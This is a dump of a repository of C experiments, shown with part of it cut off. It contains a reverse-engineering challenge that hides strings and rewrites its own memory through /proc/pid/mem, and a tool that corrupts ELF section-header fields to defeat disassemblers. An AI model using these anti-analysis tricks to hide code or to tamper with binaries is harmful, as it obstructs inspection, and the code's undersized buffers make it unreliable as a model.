| sprintf(pid_buf, "%d", pid); 87 | 88 | write(pip1[1], ad_buf, strlen(ad_buf)+1); 89 | close(pip1[1]); 90 | write(pip2[1], leng_buf, strlen(leng_buf)+1); 91 | close(pip2[1]); 92 | write(pip3[1], pid_buf, strlen(pid_buf)+1); 93 | close(pip3[1]); 94 | 95 | sp(cnt); 96 | 97 | free(ad_buf); 98 | free(leng_buf); 99 | free(pid_buf); 100 | } 101 | return 0; 102 | } 103 | 104 | void c(char *buf, ...) { 105 | va_list args; 106 | va_start (args, buf); 107 | 108 | char arg = va_arg(args, int); 109 | while(arg) { 110 | sprintf(buf, "%s%c", buf, arg); 111 | arg = va_arg(args, int); 112 | } 113 | va_end (args); 114 | } 115 | 116 | char *de(int *ary, int c, int lng) 117 | { 118 | char *ml; 119 | ml = (char*)malloc(sizeof(char*)); 120 | for (int i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void sp(char*); 11 | char* fp(unsigned long int*, unsigned long*, int*); 12 | int mp(unsigned long int*, unsigned long*, int*, int*, int, int*, int); 13 | int mm(unsigned long int*, unsigned long*, int*, int*, int, int*, int); 14 | char *de(int*, int, int); 15 | void c(char *buf, ...); 16 | void chk(char*, char*); 17 | void __attribute__((constructor)) flag(void); 18 | 19 | char s[512]={0}; 20 | char *adr, *pm, *ad1, *ad2; 21 | int out, cnt = 2; 22 | 23 | int main(void) 24 | { 25 | pid_t f; 26 | char *inp; 27 | char *ad_buf=(char*)malloc(sizeof(char*)), *leng_buf=(char*)malloc(sizeof(char*)), *pid_buf=(char*)malloc(sizeof(char*)); 28 | unsigned long int ad; 29 | unsigned long leng; 30 | int pid; 31 | 32 | // Obfuscated strings (0x1A for first three, then 0x56) 33 | int hp[] = {0x75,0x82,0x7f,0x7b,0x8a,0x77,0x1a,}; 34 | int mps[] = {0x49,0x8a,0x8c,0x89,0x7d,0x49,0x3f,0x7e,0x49,0x87,0x7b,0x8a,0x8d,0x1a,}; 35 | int mmy[] = {0x49,0x8a,0x8c,0x89,0x7d,0x49,0x3f,0x7e,0x49,0x87,0x7f,0x87,0x1a,}; 36 | int nd[] = {0x8b,0x89,0x87,0xbc,0xb5,0xc3,0x86,0xba,0x87,0xbc,0xcf,0x87,0xc4,0xbd,0xb5,0x8a,0x87,0x8d,0x89,0xc8,0xc4,0x8a,0x8d,0x87,0xcc,0x89,0xb5,0x89,0x8f,0x8a,0x8d,0x8b,0x8e,0x88,0x8f,0x56,}; 37 | 38 | // Pipe for parent and child process, to transfer pid, address and length of string s 39 | int pip1[2]; 40 | int pip2[2]; 41 | int pip3[2]; 42 | if (pipe(pip1)==-1 || pipe(pip2)==-1 || pipe(pip3)==-1) { 43 | puts("Incorrect"); 44 | return 1; 45 | } 46 | 47 | // String s to be changed 48 | c(s, 'I','s','_','t','h','i','s','_','b','i','n','a','r','y','_','s','o','_','h','a','r','d','_','t','o','_','r','e','v','e','r','s','e','?','?','?','?','\0'); 49 | if (s == NULL) 50 | { 51 | puts("Incorrect"); 52 | return 1; 53 | } 54 | 55 | // Spawn child process 56 | f = fork(); 57 | pid = 0; 58 | if (f < 0) { 59 | puts("Incorrect"); 60 | return 1; 61 | } else if (f == 0) { 62 | close(pip1[1]); 63 | close(pip2[1]); 64 | close(pip3[1]); 65 | read(pip1[0], ad_buf, 100); 66 | read(pip2[0], leng_buf, 100); 67 | read(pip3[0], pid_buf, 100); 68 | 69 | // Convert address, length of string and pid of process 70 | ad = strtoul(ad_buf, NULL, 16); 71 | leng = strtol(leng_buf, NULL, 10); 72 | pid = strtol(pid_buf, NULL, 10); 73 | 74 | // Read /proc/{pid}/maps to find address of [heap] 75 | out = mp(&ad, &leng, &pid, hp, sizeof(hp)/sizeof(hp[0]), mps, sizeof(mps)/sizeof(mps[0])); 76 | if (out==1) { 77 | puts("Incorrect"); 78 | return 1; 79 | } 80 | 81 | // Read /proc/{pid}/mem to overwrite string s within process's virtual memory 82 | out = mm(&ad, &leng, &pid, mmy, sizeof(mmy)/sizeof(mmy[0]), nd, sizeof(nd)/sizeof(nd[0])); 83 | if (out==1) { 84 | puts("Incorrect"); 85 | return 1; 86 | } 87 | 88 | free(ad_buf); 89 | free(leng_buf); 90 | free(pid_buf); 91 | } else { 92 | close(pip1[0]); 93 | close(pip2[0]); 94 | close(pip3[0]); 95 | 96 | // Calculate address, length of string and pid of process, and read input 97 | inp = fp(&ad, &leng, &pid); 98 | sprintf(ad_buf, "%lx", ad); 99 | sprintf(leng_buf, "%lu", leng); 100 | sprintf(pid_buf, "%d", pid); 101 | 102 | write(pip1[1], ad_buf, strlen(ad_buf)+1); 103 | close(pip1[1]); 104 | write(pip2[1], leng_buf, strlen(leng_buf)+1); 105 | close(pip2[1]); 106 | write(pip3[1], pid_buf, strlen(pid_buf)+1); 107 | close(pip3[1]); 108 | 109 | // Validate input and run process for string overwrite 110 | sp(inp); 111 | 112 | free(ad_buf); 113 | free(leng_buf); 114 | free(pid_buf); 115 | } 116 | return 0; 117 | } 118 | 119 | // Concatenate char array to string 120 | void c(char *buf, ...) { 121 | va_list args; 122 | va_start (args, buf); 123 | 124 | char arg = va_arg(args, int); 125 | while(arg) { 126 | sprintf(buf, "%s%c", buf, arg); 127 | arg = va_arg(args, int); 128 | } 129 | va_end (args); 130 | } 131 | 132 | // Decode int array by minusing int c, for length lng 133 | char *de(int *ary, int c, int lng) { 134 | char *ml; 135 | ml = (char*)malloc(sizeof(char*)); 136 | for (int i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char** argv){ 12 | printf(".: Elf corrupt :.\n"); 13 | 14 | if(argc < 2){ 15 | printf("Usage: %s file\n", argv[0]); 16 | return 1; 17 | } 18 | else{ 19 | 20 | int f; 21 | static Elf32_Ehdr* header; 22 | 23 | if((f = open(argv[1], O_RDWR)) < 0){ 24 | perror("open"); 25 | return 1; 26 | } 27 | 28 | if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | 29 | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){ 30 | perror("mmap"); 31 | close(f); 32 | return 1; 33 | } 34 | printf("[*] Current e_shnum: %d\n", header->e_shnum); 35 | 36 | header->e_shoff = 0xffff; 37 | header->e_shnum = 0xffff; 38 | header->e_shstrndx = 0xffff; 39 | 40 | printf("[*] Patched e_shnum: %d\n", header->e_shnum); 41 | 42 | if(msync(NULL, 0, MS_SYNC) == -1){ 43 | perror("msync"); 44 | close(f); 45 | return 1; 46 | } 47 | 48 | close(f); 49 | munmap(header, 0); 50 | } 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /screwed/sources/screwed64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | //typedef struct elf64_hdr { 12 | // unsigned char e_ident[16]; /* ELF "magic number" */ 13 | // Elf64_Half e_type; 14 | // Elf64_Half e_machine; 15 | // Elf64_Word e_version; 16 | // Elf64_Addr e_entry; /* Entry point virtual address */ 17 | // Elf64_Off e_phoff; /* Program header table file offset */ 18 | // Elf64_Off e_shoff; /* Section header table file offset */ 19 | // Elf64_Word e_flags; 20 | // Elf64_Half e_ehsize; 21 | // Elf64_Half e_phentsize; 22 | // Elf64_Half e_phnum; 23 | // Elf64_Half e_shentsize; 24 | // Elf64_Half e_shnum; 25 | // Elf64_Half e_shstrndx; 26 | // 27 | //} Elf64_Ehdr; 28 | 29 | int main(int argc, char** argv){ 30 | printf(".: Elf corrupt :.\n"); 31 | 32 | if(argc < 2){ 33 | printf("Usage: %s file\n", argv[0]); 34 | return 1; 35 | } 36 | else{ 37 | 38 | int f; 39 | static Elf64_Ehdr* header; 40 | 41 | if((f = open(argv[1], O_RDWR)) < 0){ 42 | perror("open"); 43 | return 1; 44 | } 45 | 46 | if((header = (Elf64_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | 47 | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){ 48 | perror("mmap"); 49 | close(f); 50 | return 1; 51 | } 52 | printf("[*] Current e_shnum: %d\n", header->e_shnum); 53 | 54 | header->e_shoff = 0xffff; 55 | header->e_shnum = 0xffff; 56 | header->e_shstrndx = 0xffff; 57 | 58 | printf("[*] Patched e_shnum: %d\n", header->e_shnum); 59 | 60 | if(msync(NULL, 0, MS_SYNC) == -1){ 61 | perror("msync"); 62 | close(f); 63 | return 1; 64 | } 65 | 66 | close(f); 67 | munmap(header, 0); 68 | } 69 | return 0; 70 | } 71 | -------------------------------------------------------------------------------- /screwed/sources/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | printf("Hello\n"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /screwed/test32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/screwed/test32 -------------------------------------------------------------------------------- /screwed/test64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/screwed/test64 --------------------------------------------------------------------------------